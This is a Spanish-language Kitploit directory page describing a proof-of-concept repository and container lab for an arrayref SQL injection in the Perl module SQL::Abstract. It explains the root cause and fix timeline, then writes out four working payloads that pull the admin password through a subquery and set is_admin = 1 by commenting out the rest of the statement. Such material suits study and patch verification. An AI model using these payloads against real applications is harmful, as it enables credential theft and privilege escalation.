Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-121265 — PoC y laboratorio en contenedores para CVE-2026-121265, una inyección SQL de tipo arrayref en SQL::Abstract anterior a 2.000003, con exfiltración mediante INSERT/UPDATE, escalada de privilegios y vectores de generate(). | Kitploit
Herramientas/GitHubGitHub/googlesky/cve-2026-121265
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebSeguridad de Bases de DatosLabs y Práctica
GitHubgooglesky/cve-2026-121265

CVE-2026-121265

PoC y laboratorio en contenedores para CVE-2026-121265, una inyección SQL de tipo arrayref en SQL::Abstract anterior a 2.000003, con exfiltración mediante INSERT/UPDATE, escalada de privilegios y vectores de generate().

Ver Repositorio
hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    407
  • 4

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    324
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer es una plataforma de gestión de accesos privilegiados (PAM) de código abierto que proporciona a los equipos de DevOps y TI acceso seguro y bajo demanda a endpoints SSH, RDP, Kubernetes, base de datos y RemoteApp a través de un navegador web.

    279
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motor de OSINT impulsado por IA para descubrir y mapear más de 7.700 identidades en redes sociales en toda la web

    270

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-121265: inyección SQL mediante arrayref en SQL::Abstract

Causa raíz: con la opción array_datatypes desactivada (el valor predeterminado antes de 2.000002), SQL::Abstract trata un valor de columna de tipo arrayref como SQL literal en insert(), update() y values(): el elemento [0] se inserta en el texto SQL sin escapar y el resto se convierten en valores de enlace. Un atacante que controle cualquier valor de columna -- por ejemplo, un array JSON en el cuerpo de una petición, o un campo de formulario repetido/multivalor decodificado como arrayref -- consigue una inyección SQL no autenticada en cualquier aplicación que pase datos de la petición a insert/update. La misma vulnerabilidad sobrevivió a la primera ronda de parches en generate() (y por tanto en AUTOLOAD cuando allow_autoload está activado), que es la razón por la que el aviso cubre todas las versiones anteriores a 2.000003.

CVECVE-2026-121265
AvisoCPAN Security Group, oss-sec 2026-11-07
CWECWE-89 (Inyección SQL)
AfectadosSQL::Abstract < 2.000003 (1.87, 2.000000, 2.000001, 2.000002, dev 2.000001_01.._05)
Corregido2.000003 (generate() parcheado; 2.000002 corrigió insert/update/values y cambió el valor predeterminado de array_datatypes, pero no incluyó generate())
ImpactoInyección SQL completa: exfiltración de datos, escalada de privilegios, manipulación del esquema
Referenciashttps://seclists.org/oss-sec/2026/q4/574 , https://github.com/dbsrgits/sql-abstract

1. Causa raíz

SQL-Abstract-2.000001, _expand_insert_value():

if (ref($v) eq 'ARRAY') {
    if ($self->{array_datatypes}) {
        return +{ -bind => [ $k, $v ] };
    }
    my ($sql, @bind) = @$v;
    $self->_assert_bindval_matches_bindtype(@bind);
    return +{ -literal => $v };   # <-- element [0] inlined into the SQL text, unescaped
}

El mismo patrón existía en _expand_update_set_values() y en generate() (tanto en la rama de hashref "$label = $sql" como en la rama de arrayref):

$sqla->update('t', { name => ["x, is_admin = 1"] });
# < 2.000002 default: UPDATE t SET name = x, is_admin = 1
# 2.000002+:           UPDATE t SET name = ?          (bind: ['x, is_admin = 1'])

$sqla->generate('update t', { name => ["(SELECT password FROM users)"] });
# 2.000002:            UPDATE T SET name = (SELECT password FROM users)   <-- still vulnerable
# 2.000003:            UPDATE T SET name = ?                               (bind)

Cronología de correcciones (de los cambios 2.000002 / 2.000003):

  • 2.000001_05 (2026-11-03): corrección incompleta.
  • 2.000002 (2026-11-05): array_datatypes activado por defecto; insert() / update() / values() parcheados. generate() quedó sin tratar.
  • 2.000003 (2026-11-06): generate() (y AUTOLOAD) parcheados; \[ $sql, @bind ] se convierte en la forma documentada de SQL literal.

Un atacante alcanza el valor arrayref a través de cualquier decodificador que produzca uno:

  • Cuerpo JSON: {"email": ["(SELECT ...)"]} → arrayref.
  • Datos de formulario: campos repetidos / every_param() / param() en contexto de lista (CGI.pm, Catalyst, Mojolicious, ...).

2. Laboratorio

Laboratorio A/B en contenedores (podman). Una imagen por versión de SQL::Abstract, más una compilación de 2.000003 con ARRAY_DATATYPES=0 para ejercitar el bypass.

cve-target (bounded)                       cve-pocN attacker (bounded, --rm)
image cvelab-target:<ver>                  same image as runtime + ./poc:/poc
- debian:bookworm-slim                     perl + Mojo::UserAgent
- SQL::Abstract <ver> built from CPAN src
- DBD::SQLite + Mojolicious
- app.pl  JSON API "Corp Portal"

Endpoints:

EndpointSinkUsado por
POST /api/registerinsert() desde el cuerpo JSONPoC 1
POST /api/register-forminsert() desde el formulario (arrayref every_param)PoC 4
POST /api/me/updateupdate() desde el cuerpo JSONPoC 2
POST /api/save-formgenerate() para construir una cláusula SETPoC 3
POST /api/login, GET /api/me, GET /api/admin/flag, GET /api/admin/secretsparametrizadoexfiltración / impacto
cd lab
./run_matrix.sh     # build + run the full version/config matrix, transcripts -> evidence/
./run_poc.sh all    # run PoC 1..4 against the running target

3. PoCs

PoC 1 -- Inyección INSERT, exfiltrar contraseña de administrador (poc/poc1_insert_exfil.pl)

POST /api/register
{"username":"poc1_<ts>","email":["(SELECT password FROM users WHERE username='admin')"],"password":"x"}

SQL generado (2.000001): INSERT INTO users (email, password, username) VALUES (?, ?, (SELECT password FROM users WHERE username='admin')) -- el resultado de la subconsulta se almacena como el correo electrónico del atacante y se devuelve en el perfil: FLAG{adm1n_p4ssw0rd_51337}.

PoC 2 -- Inyección UPDATE, escalada de privilegios (poc/poc2_update_escalate.pl)

POST /api/me/update            (X-Api-Key: <regular user token>)
{"bio":["'x', is_admin = 1 --"],"email":"..."}

SQL generado: UPDATE users SET bio = 'x', is_admin = 1 --, email = ? WHERE id = ? El -- comenta el resto de la sentencia (DBD::SQLite ignora silenciosamente los valores de enlace ahora no utilizados). El usuario normal se convierte en administrador y lee GET /api/admin/flag -> FLAG{c0rp_p0rt4l_pr0duct10n_fl4g_2026}.

PoC 3 -- Inyección en generate() / AUTOLOAD (poc/poc3_generate_autoload.pl)

POST /api/save-form
{"fields":{"bio":["'x', is_admin = 1 --"]}}

El endpoint construye una cláusula SET con generate() y la inserta en un UPDATE. Funciona en 2.000001 y todavía en 2.000002, donde insert()/update() ya estaban parcheados -- prueba directa de que 2.000002 sigue siendo explotable a través de la última ruta corregida en 2.000003.

PoC 4 -- vector form-urlencoded (poc/poc4_form_array.pl)

POST /api/register-form   (application/x-www-form-urlencoded)
username=poc4_<ts>&password=x&tags=(SELECT password FROM users WHERE username='admin')

every_param('tags') devuelve un arrayref -> la misma primitiva que el array JSON, sin JSON de por medio.

4. Matriz de resultados

Transcripciones completas en evidence/. Código de salida 0 = explotación exitosa.

PoC2.0000012.0000022.0000032.000003 + array_datatypes=0
PoC 1 INSERT exfil✅❌❌✅ bypass
PoC 2 UPDATE escalation✅❌❌✅ bypass
PoC 3 generate()✅✅❌✅ bypass
PoC 4 form✅❌❌✅ bypass

5. Hallazgos adicionales

Descargar herramienta